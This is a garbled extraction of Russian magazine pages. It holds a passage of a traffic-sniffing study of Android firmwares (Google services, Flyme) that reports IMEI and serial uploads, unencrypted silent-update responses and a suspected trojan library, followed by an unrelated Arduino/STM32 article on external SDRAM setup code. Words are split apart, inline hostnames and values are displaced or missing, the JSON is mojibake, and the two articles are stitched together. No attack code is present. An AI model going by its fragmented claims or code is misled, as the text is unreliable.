Воз можно,  тебя  заин тересо вало,  почему  я  оста вил  пус тые  ячей ки  в  таб‐ 
лице, хотя адре са все нор маль но резол вятся. Я сде лал это спе циаль но: все
они  явля ются  под домена ми  ,  при над лежащи ми  Google,  и  пред‐ 
назна чены они толь ко для сбо ра информа ции с обширно го пар ка устрой ств
под управле нием Android. Пус тыми я оста вил эти ячей ки, что бы ты видел мас‐ 
штаб:  16  адре сов    про тив  17  всех  осталь ных. Да  и  нам сей час
не  важ но,  к  какому  имен но  шта ту  при над лежит  этот  адрес  (все  они  име ют
име на вида  ,  ), важен сам факт
соеди нения с эти ми адре сами и переда чи дан ных. Забегая впе ред, ска жу, что
ни одна про шив ка из про тес тирован ных сегод ня не ста ла исполь зовать выс‐ 
тавлен ные нас трой ки прок си. Вмес то это го бра узе ры пос лушно ходили через
прок си,  а  все  осталь ное  так  и  шло  безо  вся кого  дос мотра  содер жимого
пакетов.

1e100.net

*.1e100.net

eg‐in‐f94.1e100.net ec‐in‐f188.1e100.net

HTTP‐зап росов было все го семь. Из них три вер нули код 204 (No Content),
осталь ные  четыре  ска чали  чер ные  спис ки  номеров,  с  которых  рас сыла ется
спам. Видимо, осо бо извес тные спа меры отфиль тро выва ются уже на уров не
про шив ки.

Ито го  из  33  хос тов,  куда  ходил  телефон  без  моего  ведома,  28  при над‐ 
лежат Google, один — Amazon, а осталь ные — кому при дет ся. То есть абсо‐ 
лют ное боль шинс тво дан ных берет себе Google.

Пос ле всех этих инте рес ностей я взял ся тыкать раз ные при ложе ния. Поч ти
ни на какие новые для нас узлы тра фик не шел (кро ме 108.177.127.84). А спи‐ 
сок  ста рых  сок ратил ся  поч ти  в  шесть  раз:  все  еще  дер жалось  соеди нение
с  108.177.119.95,  108.177.126.147,  108.177.127.95,
173.194.69.100 и 173.194.79.95. В целом ничего стран ного.

Пос ле отклю чения все го соф та про изводс тва Google, кро ме лаун чера (за
неиме нием  аль тер нативы),  резуль тат  налицо:  единс твен ное  соеди нение
оста лось с 108.177.127.95. Это сер вер DNS‐over‐TCP.

Вы вод: за что боролись, на то и напоро лись. Пре дус танов ленные сер висы
и при ложе ния Google повели себя ров но так, как опи сано в поль зователь ском
сог лашении, — сли вали ста тис тику, обновля ли дан ные и выпол няли син хро‐ 
низа цию. К сожале нию (или счастью), при отклю чении или уда лении сер висов
Google мы получа ем обыч ный AOSP.

Flyme
Ду маю,  каж дый  читатель  слы шал  про  эту  про шив ку.  Мно гие  зна ют  о  плав‐ 
ности ее работы, при ятном интерфей се и, конеч но же, о боль шой 
куче неуда ляемых  китай ских сер висов. Еще на ста дии пер вого запус ка про‐ 
шив ка про сит нас при нять обширное поль зователь ское сог лашение. Я пос‐ 
тарал ся  про читать  все го  это го  литера тур ного  монс тра  (которо го,  кста ти,  я
нашел  читабель ным  толь ко  на  англий ском),  что бы  ты,  дорогой  читатель,
не занимал ся тра той сво его вре мени. Вкус ности начина ются со вто рой тре ти
тек ста.

и вонючей
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ТИШЕ ВОДЫ,
НИЖЕ ТРАВЫ
ЧТО И КАК СЛИВАЮТ ГУГЛОФОНЫ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

Пос ле уста нов ки про шив ки и сог лашения с этим монс тру озным спис ком тре‐ 
бова ний отдать неиз вес тно куда все свои дан ные кажет ся, что хуже уже быть
не может. Но нет! Спус тя пол часа сидения за окош ком сниф фера мы перехо‐ 
дим ко вто рой час ти, ког да начина ем тыкать при ложе ния. Весь пре дус танов‐ 
ленный софт за исклю чени ем дик тофона пот ребовал раз решить поль зовать‐ 
ся интерне том под раз ными пред логами,  а  полови на из  них еще и  про сила
дос туп  к  кон тактам.  Даже  кла виату ра  отка залась  работать  без  выдачи  этих
раз решений.  Для  нее  приш лось  сде лать  исклю чение,  так  как  без  ста тичес‐ 
кого адре са мы не смог ли бы иссле довать тра фик по при чине его отсутс твия.

Про шив ка сде лала DNS‐зап росы к сле дующим хос там:
connect.rom.miui.com;•
ni.qingmang.mobi;•
api‐baas.flyme.cn;•
uxip‐res.meizu.com;•
umap.meizu.com;•
u.meizu.com;•
servicecut.meizu.com;•
input.shouji.sogou.com;•
uc‐res.mzres.com;•
api‐push.meizu.com;•
findphone.meizu.com;•
upush.meizu.com;•
safe.res.meizu.com;•
safe.meizu.com;•
apilocate.amap.com;•
uxip‐config.meizu.com;•
safe.mzres.com;•
pmir.3g.qq.com;•
www.baidu.com;•
umid.orion.meizu.com;•
p.meizu.com;•
apiinit.amap.com;•
scan.call.f.360.cn;•
uxip.meizu.com;•
mazu.3g.qq.com;•
restapi.amap.com;•
p‐ns.meizu.com;•
map‐api.cn‐hangzhou.oss‐pub.aliyun‐inc.com;•
hades.meizu.com;•
stats.lineageos.org;•
aider.meizu.com;•
roam.meizu.com;•
aider‐res.meizu.com;•
g.meizu.com.•

В этот спи сок не попали адре са Google, такие как адрес NTP‐сер вера и 
,  но это не име ет  зна чения в дан ный момент.

Сре ди осталь ных адре сов мы можем видеть  , который,
оче вид но, отве чает за служ бу поис ка телефо на. И никого не вол нует, что она
не вклю чена на телефо не. Зап рос‐то ушел, хоть пока и толь ко по DNS. Сле‐ 
дующий  очень  инте рес ный  адрес  —  ,  который,
как  понят но  из  наз вания,  хочет  узнать  мес тополо жение.  Но  давай‐ка  мы
не  будем  делать  преж девре мен ных  выводов,  а  луч ше  гля нем,  что  же  ушло
по HTTP.

con‐
nectivitycheck.gstatic.com

findphone.meizu.com

apilocate.amap.com

HTTP
Пер вый  же  HTTP‐зап рос  ушел  на    и  отпра вил  POST’ом  сле‐ 
дующую информа цию:

u.meizu.com

deviceType (имя и модель устрой ства. У меня — «Redmi‐Note4x»);•
вер сия Firmware;•
вер сия про шив ки;•
IMEI устрой ства (!);•
ID и серий ный номер устрой ства;•
имя сер виса, отпра вив шего информа цию  (в этом слу чае — 

) и его вер сия.
• com.meizu.

battery

Об ращаю твое вни мание, что дан ные под писаны, а это зна чит, что ты не смо‐ 
жешь  прос то  взять  и  вырезать  их  через  прок си.  Эти  дан ные  потен циаль но
поз воля ют  про изво дите лю  опре делить,  исполь зуешь  ли  ты  смар тфон Meizu
или уста новил про шив ку на сто рон ний девайс.

Сле дующим  пакетом  на  тот  же  адрес  ( )  ухо дит  точ но  такой  же
отчет,  но донос чиком зна чит ся  уже фир менный лаун чер  (

).  Показа тель но,  что  эти  дан ные  отправ ляют ся  буд то  бы  в  служ бу
обновле ния фир менных сер висов, толь ко мне, нап ример, не сов сем понят но,
зачем  IMEI,  ID  и  серий ный  номер  устрой ства  нуж ны  при  обновле нии.  Но,
как говорит ся, жираф боль шой, ему вид ней.

u.meizu.com
com.meizu.flyme.

launcher

И  дей стви тель но,  в  ответ  на  этот  зап рос  при ходит  JSON,  поля  которо го
впол не под ходят под заяв ленную цель. Сре ди полей есть наз вание при ложе‐ 
ния (на китай ском, нес мотря на выс тавлен ную при пер вой нас трой ке англий‐ 
скую локали зацию), имя пакета, тип обновле ния (обя затель ное или нет), пос‐ 
ледняя дос тупная на сер вере вер сия, вре мя ее выпус ка и release notes к ней,
URL  обновле ния,  раз мер  и  хеш  заг ружа емо го  фай ла,  усло вия  обновле ния
и флаг тихой уста нов ки. Ты, конеч но, спро сишь, а что же тут не так? А не так
вот что: этот зап рос идет по чис тому HTTP безо вся ких вам SSL/TLS, что соз‐ 
дает бла гоп рият ные усло вия для под мены такого тра фика. И если учесть то,
что  обновле ние  может  быть  уста нов лено  незамед литель но  (флаг 

) и в  тихом режиме (флаг  ), а для про вер ки целос тнос ти
исполь зует ся  толь ко  раз мер фай ла  и  его  хеш,  устрой ства  с  Flyme  на  бор ту
очень  лег ко  могут  стать  мишеня ми  бот нетов.  Более  того,  твои  лич ные  дан‐ 
ные, в том чис ле IMEI, ID устрой ства и его серий ный номер, могут быть лег ко
укра дены при усло вии нахож дения с тобой в одной сети.

needsUp‐
date silentUpgrade

Да лее сис тема получа ет  спи сок акти вити при ложе ний,  которым по  умол‐ 
чанию  не  нуж но  спра шивать  раз решение  на  рисова ние  поверх  экра на  бло‐ 
киров ки. По  умол чанию  это  экран  стан дар тно го  лаун чера  и  некий 

.  С  этим  име нем  пакета  (
) в Play Market’е раз мещен 

, проч но засев ший в спис ках анти вирус ных про дук тов как adware.

com.ten‐
cent.mobileqq.activity.QQLSActivity com.ten‐
cent.mobileqq до воль но популяр ный мес сен джер
Tencent QQ

Даль ше  идет  обры вок  отве та  на  зап рос,  при над лежность  которо го Wire‐
shark не смог опоз нать. Как, впро чем, не пой мал и его начало. Там был JSON
сле дующе го содер жания:

{
 "apkName":"com.DBGame.DiabloLOL",
 "category2Id":1004,
 "category2Name":"å¨ä½åé©",
 "categoryId":2,
 "categoryName":"æ¸¸æä¸åº",
 "cnName":"ç«æ´äººèç",
 "createTime":1484690841000,
 "devName":"äºç±äºå¨ç§æ",
 "id":185417,
 "installCount":1028899,
 "stars":113710,
 "tagName":"æ¨ªç,æ ¼æ"

},{
 "apkName":"com.m37.yhjyj.mz",
 "category2Id":1001,
 "category2Name":"è§è²æ®æ¼",
 "categoryId":2,
 "categoryName":"æ¸¸æä¸åº",
 "cnName":"æ°¸æçºªå�",
 "createTime":1484690855000,
 "devName":"ç¨æ∙494550072",
 "id":795971,
 "installCount":1015194,
 "stars":58590,
 "tagName":"å³æ¶,å¤§ä½,éå¹»,ç»å�¸"

},{
 "apkName":"com.netease.my.mz",
 "category2Id":9025,
 "category2Name":"å�¶ä»æ¸¸æ",
 "categoryId":2,
 "categoryName":"æ¸¸æä¸åº",
 "cnName":"æ¢¦å¹»è¥¿æ¸¸",
 "createTime":1484690857000,
 "devName":"Netease_Game",
 "id":910997,
 "installCount":986444,
 "stars":601440,
 "tagName":"ç�é,ä»ä¾,Qç,å¤§ä½,ç»å�¸"

},{
 "apkName":"wb.gc.xmxx.zxb",
 "category2Id":1000,
 "category2Name":"ä¼é²çæº",
 "categoryId":2,
 "categoryName":"æ¸¸æä¸åº",
 "cnNam

На лицо  перечис ление  при ложе ний  (поле  ,  несом ненно,  содер жит
имя  пакета  целево го  при ложе ния)  с  ука зани ем  его  катего рии  (видимо,
это дол жны были быть китай ские иерог лифы, но ASCII не отоб ража ет их пра‐ 
виль но),  вре мени  соз дания,  ID  в  какой‐то  внут ренней  сис теме,  количес тва
уста новок  и,  пред положи тель но,  рей тин га  (поле  ).  Адрес  отпра вите ля
(183.61.122.111)  наш  любимый  Google  Public  DNS  опоз нал  как 

.  К  сожале нию,  на  этом наш инте рес ный пакет обор вался,
но на некото рые мыс ли он однознач но наводит. Рек лама? Скры тая уста нов ка
адва ри? Име на пакетов выг лядят нечело веко чита емы ми, так что наз начение
этих прог рамм оста ется неиз вес тным. И, что неуди витель но, ни одной из них
нет в Google Play.

apkName

stars
soa.dns.

guangzhou.gd.cn

За тем  прос нулся  агент  геоло кации  (на  это  ука зыва ет  заголо вок 
),  который  отпра вил  261  байт

бинар ных дан ных на  .

User‐
Agent:  AMAP_Location_SDK_Android  2.4.0

apilocate.amap.com/mobile/binary
Я  уже  думал  прек ращать  прос матри вать  одно тип ные  пакеты,  в  которых

ухо дила  моя  дра гоцен ная  информа ция,  но  вдруг  нат кнул ся  на  один  пакет,
непохо жий на осталь ные. Его содер жимое:

PLQ?çØ^E,³R@,jôq`²#
P«ÿëGÏË¿>é
KÙÌmeizu.com/pack/ramcleaner/whitelist/update.db_1560182405.zip",
"ver":1560182405},
{"type":"patch","url":"http://safe.res.meizu.com/pack/ramcleaner/
whitelist/update.db_1560268805.zip","ver":1560268805}]},
"appinfo":{"packs":[{"type":"full","url":"http://safe.res.meizu.com/
pack/app/appinfo.db_1560268805_full.zip","ver":1560268805}]},
"harassmentBlocking":{"packs":[{"type":"full","url":"http://safe.res.
meizu.com/pack/harassmentblocking/update.db_1560268805_full.zip",
"ver":1560268805}]},
"qrcodeUrl":{"packs":[{"type":"full","url":"http://safe.res.meizu.
com/pack/qrcodeurl/qrcodeurl.db_1560268805_full.zip","ver":156026
8805}]},
"trashclean":{"packs":[{"type":"full","url":"http://safe.res.meizu.
com/pack/trash/trashclean.db_1560268805_full.zip","ver":1560268805}]}
}

Прой дем ся по этим архи вам по поряд ку:
 содер жит единс твен ный файл  .

В нем перечис лены сер висы Meizu с одним зна чени ем из двух  (1 или 2).
К  сожале нию,  это ока залась  не  нор маль ная БД,  а  прос той  текст,  так  что
у меня даже нет наз ваний этих стол бцов. Но если вни матель но про читать
URL,  по  которо му  ска чива ется  этот файл,  то мож но  уви деть  стро ку 

,  ука зыва ющую,  что  этот  файл  лишь  кон фиг  для  встро енно го
таск‐кил лера. Зна чит, циф ры, ско рее все го, озна чают при ори теты про цес‐ 
сов;

• update.db_1560182405.zip update.db

ram

cleaner

  —  JSON‐файл,  по  струк туре  подоз‐ 
ритель но похожий на тот безымян ный кусок, что мы рас смат ривали парой
абза цев выше. Ничего нового тут не ока залось;

• appinfo.db_1560268805_full.zip

 — спи сок из 18 номеров спа еров (ha‐
rassment  blocking,  упо мяну тый  в  URL,  перево дит ся  как  «пре дот вра щение
бес покой ства»).  Все  номера  китай ские.  Это  все,  что  нуж но  знать
об  эффектив ности  защиты,  если  даже  на  стра ну  с  населе нием  1,4  мил‐ 
лиар да человек есть спи сок толь ко из 18 спа меров;

• update.db_1560268805_full.zip

  —  девять  строк  JSON’а,  содер‐ 
жащие  вре донос ные  адре са,  которые,  как  понят но  из  URL,  рас простра‐ 
няют через QR‐коды.

• qrcodeurl.db_1560268805_full.zip

И в пос леднем архи ве  , как ста новит ся
ясно из того же источни ка, содер жатся парамет ры очис тки мусора в памяти
устрой ства. Этот кон фиг поз воля ет не потерять «кри тичес ки важ ные» дан ные
сер висов,  наз вания  которых  явно  выда ют  их  при над лежность  к  Meizu.
В общем, поч ти ничего кри миналь ного.

trashclean.db_1560268805_full.zip

WWW

Я ска чал эти архи вы и 
на  слу чай  проб лем  с  дос тупом  по  ука зан ным
ссыл кам.

сде лал их копию на Mega

Спус тя  пару  минут  телефон  ска чал  архив  с  JSON,  содер жащий  весь ма
обширный  (более  1700  строк)  спи сок  раз решений  для  этих  при ложе ний
и ком мента рии к ним на китай ском. Сам архив мож но взять по ссыл ке выше,
он называ ется  .newupdate.db_1560268805_full.zip

Вне зап но  при шел    (22,5  Кбайт),  содер жащий  JSON‐кон‐ 
фиг  для  какого‐то  при ложе ния.  По  всей  видимос ти,  этот  кон фиг  содер жит
спи сок прог рамм и акти вити, дей ствия с которы ми нуж но перех ватывать.

уве сис тый пакет

Сра зу ска жу, что я сна чала соб рал дам пы тра фика всех про шивок и толь ко
потом  ана лизи ровал  их,  поэто му,  ког да  такая  засада  обна ружи лась,  я  уже
не имел воз можнос ти выяс нить что‐либо кон крет нее. Исхо дя из содер жимого
пакетов, я выд винул две вер сии, что это может быть.

Пер вая вер сия: перед нами кон фиг бэк дора, и вот почему я так решил.
1. URL  ( )  как  бы
намека ет, что отту да при летят какие‐то пра вила или филь тры.

safe.meizu.com/service/corrstartapp/getrule

2. Наз вания полей в этом JSON’е слиш ком уж похожи на поля кон фига рат‐ 
ника. При мер:

{"1":"runType===activity|||callerPkg===*|||calleePkg===*|||callee
Class===com.igexin.sdk.GActivity|||proces
sName===*|||action===*|||data===*|||extras===*|||interc
eption===true"}

Вер сия  вто рая:  это  что‐то  вро де  базы  для  анти виру са  или  бло киров щика
назой ливой рек ламы. Она более под креп лена доказа тель ства ми, так как упо‐ 
мяну тый    при над лежит  к 

. Судя по все му, встро енный анти вирус перех ватыва ет, а затем бло‐ 
киру ет вызовы это го SDK.

com.igexin.sdk.GActivity дав но  извес тно му  ad‐
ware SDK

Да лее  телефон  пыта ется  заг рузить    (сно ва  же
по  обыч ному  HTTP)  с 

.  Я  не  мас тер  ревер са
бинар ников,  но  я  пос мотрел  hex‐дамп  это го  фай ла  и  уви дел  инте рес ные
стро ки,  ука зыва ющие на обфуска цию. Но зачем не столь уж сек ретной биб‐ 
лиоте ке обфуска ция? А может, ее содер жимое не сов сем соот ветс тву ет наз‐ 
ванию?  Есть  толь ко  один  спо соб  выяс нить  ее  реаль ную фун кци ональ ность:
погуг лить.  :) Гуг ление выда ет информа цию, что это  ,  при‐ 
чем попал он в анти вирус ные базы еще в далеком августе 2017 года.

libJni_wgs2gcj.so
amap‐api.cn‐hangzhou.oss‐pub.aliyun‐inc.com/

sdkcoor/android/arm64‐v8a/libJni_wgs2gcj.so

чис той воды  тро ян

Об фуска ция?

И что бы ты не радовал ся, что хоть какие‐то дан ные еще оста лись у тебя, вот
пос ледний логичес кий гвоздь в крыш ку гро ба тво ей надеж ды:

{
 "priority_directory": [
   "DingTalk",
   "tencent/MobileQQ/shortvideo",
   "tencent/MicroMsg/WeiXin",
   "tencent/MicroMsg/Download",
   "Pictures/Screenshots",
   "Download",
   "Movies/Screenrecords",
   "iqiyi",
   "iqiyi_live",
   "iqiyi_p2p",
   "UCDownloads",
   "kugou",
   "kugoumusic",
   "kgmusic",
   "QQLive",
   "qqmusic",
   "Sina/weibo/weibo",
   "Sina/weibo/weibo_filter",
   "DCIM"
 ]

}

Да, это спи сок папок в тво ей внут ренней памяти. Помаши руч кой уле тающей
при ват ности, ведь теперь все твои дан ные, вклю чая фот ки и видео с котика‐ 
ми, дос тупны неог раничен ному кру гу лиц, которые даже зна ют все воз можные
мес та, где это искать.

Ду маю,  при  даль нейшем  рас смот рении  этой  про шив ки  мы  не  уви дим
ничего  инте рес нее,  чем  уже  уви дели  до  это го.  Пред лагаю  перей ти  сра зу
к  ана лизу  тра фика  про шив ки  пос ле  судорож ных  попыток  хоть  что‐нибудь
отклю чить.

Пос ле мак сималь ной очис тки
Пос ле очис тки, то есть отклю чения всех фир менных при ложе ний Meizu и при‐ 
нуди тель ного  убий ства  всех  сер висов,  пакетов  ста ло  на  порядок  мень ше:
477  про тив  7661.  Появил ся  новый  хост  ( ),  на  который
телефон  передал  4,2  Кбайт  дан ных  по  TLS.  В  HTTP‐тра фике  поч ти  чис то,
прос нулся  толь ко  каль кулятор  ( )  и  отпра вил
ста тис тику. Воз можно, это свя зано с тем, что за про шед ший перед этим час
про шив ка уже успе ла отпра вить все, что хотела, и сей час решила зас лужен но
отдохнуть.

log.avlyun.com

com.meizu.flyme.calculator

Мой вер дикт луч ше все го опи шет белорус ская фра за «Не чапай, бо ляс‐ 
не». Прос то не тро гай эту про шив ку, и тебя мину ет участь подопыт ного кро‐ 
лика, за которым день и ночь прис таль но сле дят страш ные дяди и тети. Видя,
что переда ется в откры тую, я никак не могу наз вать это го шпи она про шив кой
для нас тояще го хакера.

ВЫВОДЫ
Се год ня  мы  зат ронули  толь ко  вер хушку  айсбер га  кас томных  про шивок.
Естес твен но, я выб рал для это го обзо ра толь ко самых вкус ных пред ста вите‐ 
лей это го боль шого семей ства, но, как ты понял, если про шив ку раз рабаты‐ 
вает вен дор (а в осо бен ности — китай ский), то про собс твен ную при ват ность
можешь  забыть.  Мой  выбор  —  LineageOS,  и  я  вся чес ки  тебе  его  советую
в качес тве дос той ной аль тер нативы MIUI и Flyme.

https://play.google.com/store/apps/details?id=com.tencent.mobileqq&hl=ru
https://mega.nz/#F!lD4SzIpS!HIuc-g5G0Ff4InhZxz__YQ
https://github.com/HackcatDev/-/blob/master/st-dat-resp.txt
https://blog.lookout.com/igexin-malicious-sdk
https://vms.drweb.com/virus/?i=15762397&lng=en
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ТРЮКИ

Ты  помигал  све тоди оди ком,  соб рал  мете‐ 
останцию  и  робота  на  ради оуп равле нии,
а  потом  успел  разоча ровать ся  в  этих
малень ких  кусоч ках  крем ния,  что  зовут ся
мик рокон трол лерами?  Нап расно!  Сегод ня
я  покажу,  как  научить  Arduino  работать
с  внеш ней  памятью  и  выжать  из  нее  мак‐ 
симум для тво их про ектов.

Сер дцем мира Arduino всег да был и оста ется кро хот ный мик рокон трол лер AT‐
mega328P.  Одна ко  сегод ня  его  скром ные  харак терис тики  (16 МГц,  2  Кбайт
ОЗУ и 32 Кбайт ПЗУ) и  уста рев шая вось мибит ная архи тек тура AVR уже ста‐ 
новят ся  пре пятс тви ем  при  работе  с  аудио,  гра фикой  и  сетью.  К  счастью,
за эти годы вок руг Arduino успе ло сло жить ся огромное сооб щес тво любите‐ 
лей и раз работ чиков. Общи ми уси лиями в про ект была добав лена под дер жка
самых раз ных мик рокон трол леров, в том чис ле очень популяр ное семей ство
STM32.

Их  осно вой  слу жит  32‐раз рядное  про цес сорное  ядро  ком пании  ARM.
Парамет ры  кон крет ной  мик росхе мы  зависят  от  модель ной  линей ки  (Value
Line,  Mainstream,  Performance),  но  даже  самые  сла бые  модели  уве рен но
обго няют ATmega AVR в дос тупных воз можнос тях и про изво дитель нос ти. Если
добавить сюда богатую перифе рию, мно гочис ленные интерфей сы для свя зи
с  внеш ним миром и разум ную цену,  то  сов сем неуди витель но,  что  эти мик‐ 
рокон трол леры  полюби лись  сооб щес тву  и  получи ли  широкое  рас простра‐ 
нение.
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В  ком пании  ARM  инже неры  не  лишены  чувс тва
юмо ра. Сегод ня  сущес тву ют  три семей ства про‐ 
цес сорных ядер для встра иваемых сис тем — Cor‐
tex‐A (application), Cortex‐R (real‐time) и Cortex‐M
(microcontroller).  Индексы  в  наз вани ях  обра зуют
имя архи тек туры — ARM. Зна комые бук вы мож но
най ти  и  в  сок ращен ном  наз вании  основно го
спра воч ного докумен та — ARM Architecture Refer‐
ence Manual ( ). Такие вот шуточ ки для тех, кто
в теме.
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я исполь зовал пла ту   с мик рокон трол лером F746NG. Это очень мощ‐ 
ное  решение  на  осно ве  Cortex‐M7,  с  час тотой  в  216  МГц,  320  Кбайт  опе‐ 
ратив ной  памяти  и  мегабай том  фле ша.  Но  что  делать,  если  вдруг  и  это го
мало? К при меру, если попытать ся работать с раз мещен ным на этой же пла те
дис пле ем с раз решени ем 480 на 272 пик селя, то при глу бине цве та в 32 бита
нам пот ребу ется как минимум 510 Кбайт памяти, что бы хра нить буфер кад ра.

Как реали зовать шиф рование для самодель ного гад‐ 
жета Ищем энтро пию на мик росхе ме, что бы повысить стой кость шиф ров

Discovery

Ес ли  при  отри сов ке  допол нитель но  исполь зовать  буфери зацию
и  рисовать  в  теневой  кадр,  пока  пре дыду щий  отоб ража ется  на  дис плее,  то
это  зна чение  нуж но  удво ить.  Получив ший ся  мегабайт,  нуж ный  для  одной
толь ко гра фики, в опе ратив ную память нашего мик рокон трол лера решитель‐ 
но не лезет. Что же делать?

К счастью, у F746NG есть перифе рий ный блок FMC (Flexible Memory Con‐
trol) для работы с интерфей сами внеш ней памяти. А на самой пла те уже рас‐ 
паяна  мик росхе ма  SDRAM  на  128  Мбит  (не  байт!).  Но  почему‐то  при  пор‐ 
тирова нии  в Arduino  IDE авто ры STM32duino не  захоте ли добав лять  ее  под‐ 
дер жку в фай лах для пла ты Discovery. Если сде лать все гра мот но и акку рат но,
то пос ле ини циали зации аппа рат ного уров ня для нашей прог раммы не будет
никакой раз ницы, работать ли с внут ренней памятью или с внеш ней. Я счи‐ 
таю, надо поп робовать!
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Сей час порой кажет ся, что в эпо ху AVR мик рокон‐ 
трол леры обла дали толь ко стан дар тным набором
перифе рии  и  ничего  слож ного  под цепить  к  ним
было  нель зя.  Одна ко  это  не  так  —  к  некото рым
из  них  тоже  мож но  было  под клю чить  внеш нюю
память  через  интерфейс  XMEM  и  отоб разить  ее
в адресное прос транс тво ЦПУ. Нап ример, на МК
ATmega8515  мож но  было  уве личить  ОЗУ
со скром ных 512 байт до вну шитель ных 64 Кбайт!
Тог да это, конеч но, поража ло вооб ражение.

ПОДГОТОВКА
Итак, нашей глав ной целью будет раз мещение 8 Мбайт опе ратив ной памяти
в  адресном  прос транс тве  про цес сора  Cortex‐M7.  Да,  я  не  ошиб ся  —  хоть
у  нас  и  128  Мбит  (16  Мбайт)  во  внеш ней  мик росхе ме,  но  из‐за  того,  что
на  пла те  раз ведена  16‐бит ная  шина  дан ных  (вмес то  мак сималь но  воз‐ 
можных 32 бит), нам по фак ту дос тупна толь ко полови на это го объ ема. Это,
конеч но, неп рият но, но тут уж ничего не поделать.

На чинать сле дует с поис ка докумен тации и зна комс тва с ней. Для удобс‐ 
тва  я  уже  соб рал  все  необ ходимое  в  снос ке  ниже.  На  пер вый  взгляд  там
в руководс твах сот ни стра ниц и оси лить их едва ли воз можно, но на прак тике
это  вов се  и  не  тре бует ся.  Про верить  адрес  и  опи сание  регис тров  в  одном
мес те, под смот реть тай мин ги в дру гом, про читать пару абза цев в треть ем —
вот, собс твен но, и все.
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•До кумен тация на мик рокон трол лер DS10916
•До кумен тация на мик росхе му памяти SDRAM
•До кумен тация на пла ту UM1907
•Ре ференс на мик рокон трол лер RM0385

Пос мотрим,  как  выг лядит  адресное  прос транс тво  на  нашем  мик рокон трол‐ 
лере. Это восемь бло ков по 512 Мбайт  (ито го 4 Гбайт — мак симум для 32‐
раз рядных  про цес соров).  Сис темное  ОЗУ  рас полага ется  в  пер вом  бло ке
и занима ет адре са с   по  , пре дос тавляя в наше рас‐ 
поряже ние  320  Кбайт  ста тичес кой  памяти.  Боль ше  мож но  получить  толь ко
с помощью FMC и внеш ней мик росхе мы. FMC работа ет с адре сами из бло ков
с треть его по шес той, но под клю чить SDRAM мож но толь ко в два пос ледних.

0x20000000 0x2004FFFF

Я пред лагаю раз местить внеш нюю память в пятом бло ке. Так мы получим
допол нитель ные 8 Мбайт по адре сам с   по  . Перифе‐ 
рий ный блок FMC будет обра баты вать все зап росы на дос туп к памяти в этой
области  и  по  парал лель ной  шине  переп равлять  в  мик росхе му  SDRAM.
В целом  такое  вза имо дей ствие меж ду ЦПУ и  внеш ним ОЗУ мало  чем отли‐ 
чает ся от работы с памятью на любом компь юте ре, смар тфо не или ноут буке.
Да,  там  все  это  гораз до  быс трее  и  объ емы  сущес твен но  боль ше,  но  прин‐ 
ципи аль ных отли чий нем ного.
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По сущес тву, от нас тре бует ся выпол нить фун кции BIOS по ини циали зации
аппа рат ной  час ти  и  сде лать  ров но  три  вещи. Во‐пер вых,  скон фигури ровать
выводы  мик рокон трол лера  для  работы  с  парал лель ным  интерфей сом.
Во‐вто рых, нас тро ить FMC под нашу опе ратив ную память (да, при дет ся поиг‐ 
рать ся  с  тай мин гами).  В‐треть их,  заг рузить  регистр  с  парамет рами  работы
в саму мик росхе му. В ито ге наша основная фун кция будет выг лядеть  как‐то
так:

void xmem_init() {
 pin_init();
 fmc_init();
 sdram_init();
}

Ос талось  толь ко  пос ледова тель но  написать  реали зацию  для  каж дого  эта па
и орга нич но вста вить это куда‐нибудь в код скет ча.

ИНТЕРФЕЙС ПАМЯТИ
Преж де  все го  нуж но  опре делить ся  с  физичес ким  пред став лени ем  нашего
интерфей са  памяти.  У  нас  есть  отдель ные  сиг наль ные  линии  для  адре сов
(A[25:0]), дан ных  (D[31:0]),  команд  (CAS, RAS, WE, CS) и  так тирова ния  (CLK,
CKE). Дело нес коль ко облегча ется  тем,  что исполь зует ся далеко не пол ный
набор (про уре зан ную шину дан ных я уже упо минал), но и все го это го немало.

Схе му под клю чения SDRAM к мик рокон трол леру мож но най ти в докумен‐ 
тации на пла ту. Там же мож но узнать, что для адре сации исполь зуют ся 12 бит
и  еще  два  допол нитель ных  бита  ука зыва ют  на  один  из  четырех  внут ренних
бан ков памяти в мик росхе ме. Для наг ляднос ти я свел все дан ные в неболь‐ 
шую таб личку.

Те перь  оста ется  толь ко  скон фигури ровать  все  выводы  GPIO  для  работы
в аль тер натив ном режиме с FMC.

#include "stm32f746xx.h" /* for CMSIS defines */

static inline void pin_init() {
 /* Enable clock for GPIO ports */
 RCC ‐> AHB1ENR |= RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN |
                   RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN |
                   RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN;

 /* Configure GPIO ports */
 /* PC3: AF PP + VHS + AF12 */
 GPIOC ‐> MODER   |= GPIO_MODER_MODER3_1;
 GPIOC ‐> OSPEEDR |= GPIO_OSPEEDER_OSPEEDR3_1 | GPIO_OSPEEDER_O
SPEEDR3_0;
 GPIOC ‐> AFR[0]  |= GPIO_AFRL_AFRL3_3 | GPIO_AFRL_AFRL3_2;
 ...
}

Здесь мы пос ледова тель но  пода ем  так тирова ние  на  пор ты GPIO  (без  это го
никак),  затем  для    зада ем  режим  работы,  уста нав лива ем  мак сималь ную
ско рость и выбира ем его в качес тве вывода FMC. Оста ется толь ко пов торить
опе рации выше для всех осталь ных сиг налов.

PC3

Это  самая  нуд ная  и  при митив ная  часть  все го  про цес са.  Хуже  того,  оши‐ 
бать ся  тут  никак  нель зя,  пос коль ку  заметить  опе чат ку  потом  будет  очень
слож но. Так что я выделил код для всех оставших ся выводов 

.
в отдель ном лис‐ 

тинге

НАСТРОЙКА FMC
Сле дующим эта пом нуж но скон фигури ровать блок FMC для нашей мик росхе‐ 
мы памяти. Боль шую часть нуж ных парамет ров мож но почер пнуть из даташи‐ 
та, но самое глав ное решение пред сто ит при нимать самос тоятель но. Конеч‐ 
но же,  я  говорю о  так товой час тоте опе ратив ной памяти. Имен но она будет
опре делять  все  осталь ные  тай мин ги,  и  имен но  от  нее  будет  зависеть  ито‐ 
говая про изво дитель ность нашей сис темы.

По  умол чанию  FMC  так тиру ется  от  час тоты  про цес сора  —  HCLK.
Для F746NG мак сималь ное зна чение сос тавля ет 216 МГц, и базовая нас трой‐ 
ка  в  скет че  Arduino  (до  вызовов фун кций    и  )  выс тавля ет  имен но
его.  Конеч но  же,  выб рать  такую  час тоту  для  мик росхе мы  памяти  было  бы
слиш ком, ведь по докумен тации она работа ет толь ко вплоть до 167 МГц.

setup loop

По это му блок FMC поз воля ет выб рать пред делитель для час тоты SDRAM.
